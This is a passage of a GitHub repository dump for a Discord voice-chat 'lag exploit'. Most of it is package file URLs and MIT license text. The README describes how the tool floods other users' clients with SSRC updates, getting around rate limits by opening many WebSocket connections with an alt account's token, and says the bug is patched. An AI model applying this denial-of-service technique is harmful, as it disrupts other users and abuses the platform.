12 |
13 |
14 |
--------------------------------------------------------------------------------
/LagExploit2/obj/Debug/MuteExploit2.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/LagExploit2/obj/Debug/MuteExploit2.pdb
--------------------------------------------------------------------------------
/LagExploit2/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Heads up!
2 | This exploit is already patched. I'm sorry i couldn't release it in time...
3 |
4 | # What's new?
5 | This exploit is actually a lot like the [old one](https://github.com/not-ilinked/VC-lag-exploit) in the sense that it still lags out other clients by sending massive amounts of [SSRC updates](https://datatracker.ietf.org/doc/html/rfc3550#section-5.1).
6 | The old one was patched because Discord added ratelimits to media WebSockets, however, as it turns out, this can easily be bypassed by just creating more WebSocket connections (session ID's and stuff are reusable, and for some reason everything gets reset).
7 | This alone works fine on smaller servers, but for bigger ones connecting to the WebSocket can take up to 700 ms, which is way too much.
8 | For that reason i made some modifications to Anarchy to let me create connections without authenticating right away (that would disconnect the old WebSocket).
9 |
10 | TL;DR the exploit continuously creates media WebSocket connections, authenticating and sending just the max amount of SSRC updates for each.
11 |
12 | ## How do i install it?
13 | Clone the repo, open the .sln file in Visual Studio (make sure you have .NET Framework 4.7 installed) and add a reference to Anarchy (clone that too).
14 | After building add the required [voice binaries](https://anarchyteam.dev/voice_binaries.zip) to bin/Debug or bin/Release, set your alt's token in Token.txt and run it!
15 |
--------------------------------------------------------------------------------
/packages/Leaf.xNet.5.2.10/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/.signature.p7s
--------------------------------------------------------------------------------
/packages/Leaf.xNet.5.2.10/Leaf.xNet.5.2.10.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/Leaf.xNet.5.2.10.nupkg
--------------------------------------------------------------------------------
/packages/Leaf.xNet.5.2.10/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/icon.png
--------------------------------------------------------------------------------
/packages/Leaf.xNet.5.2.10/lib/net45/Leaf.xNet.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/lib/net45/Leaf.xNet.dll
--------------------------------------------------------------------------------
/packages/Leaf.xNet.5.2.10/lib/netstandard2.0/Leaf.xNet.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Leaf.xNet.5.2.10/lib/netstandard2.0/Leaf.xNet.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/.signature.p7s
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/LICENSE.md:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2007 James Newton-King
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy of
6 | this software and associated documentation files (the "Software"), to deal in
7 | the Software without restriction, including without limitation the rights to
8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
9 | the Software, and to permit persons to whom the Software is furnished to do so,
10 | subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21 |
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/Newtonsoft.Json.12.0.3.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/Newtonsoft.Json.12.0.3.nupkg
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/lib/net20/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/net20/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/lib/net35/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/net35/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/lib/net40/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/net40/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/lib/net45/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/net45/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.0/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.0/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.3/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/netstandard1.3/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/lib/netstandard2.0/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/netstandard2.0/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/lib/portable-net40+sl5+win8+wp8+wpa81/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/portable-net40+sl5+win8+wp8+wpa81/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/lib/portable-net45+win8+wp8+wpa81/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/lib/portable-net45+win8+wp8+wpa81/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.12.0.3/packageIcon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.12.0.3/packageIcon.png
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/.signature.p7s
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/LICENSE.md:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2007 James Newton-King
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy of
6 | this software and associated documentation files (the "Software"), to deal in
7 | the Software without restriction, including without limitation the rights to
8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
9 | the Software, and to permit persons to whom the Software is furnished to do so,
10 | subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21 |
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/Newtonsoft.Json.13.0.1.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/Newtonsoft.Json.13.0.1.nupkg
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/lib/net20/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/net20/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/lib/net35/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/net35/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/lib/net40/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/net40/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/lib/net45/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/net45/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.0/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.0/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.3/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.3/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/lib/netstandard2.0/Newtonsoft.Json.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/lib/netstandard2.0/Newtonsoft.Json.dll
--------------------------------------------------------------------------------
/packages/Newtonsoft.Json.13.0.1/packageIcon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/Newtonsoft.Json.13.0.1/packageIcon.png
--------------------------------------------------------------------------------
/packages/better-websocket-sharp.1.0.2.1/.signature.p7s:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/better-websocket-sharp.1.0.2.1/.signature.p7s
--------------------------------------------------------------------------------
/packages/better-websocket-sharp.1.0.2.1/better-websocket-sharp.1.0.2.1.nupkg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/better-websocket-sharp.1.0.2.1/better-websocket-sharp.1.0.2.1.nupkg
--------------------------------------------------------------------------------
/packages/better-websocket-sharp.1.0.2.1/lib/net35/websocket-sharp.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/not-ilinked/VC-lag-exploit-v2/a4e311db1bd4b89709c3d754e4a31470ec35a1b0/packages/better-websocket-sharp.1.0.2.1/lib/net35/websocket-sharp.dll
--------------------------------------------------------------------------------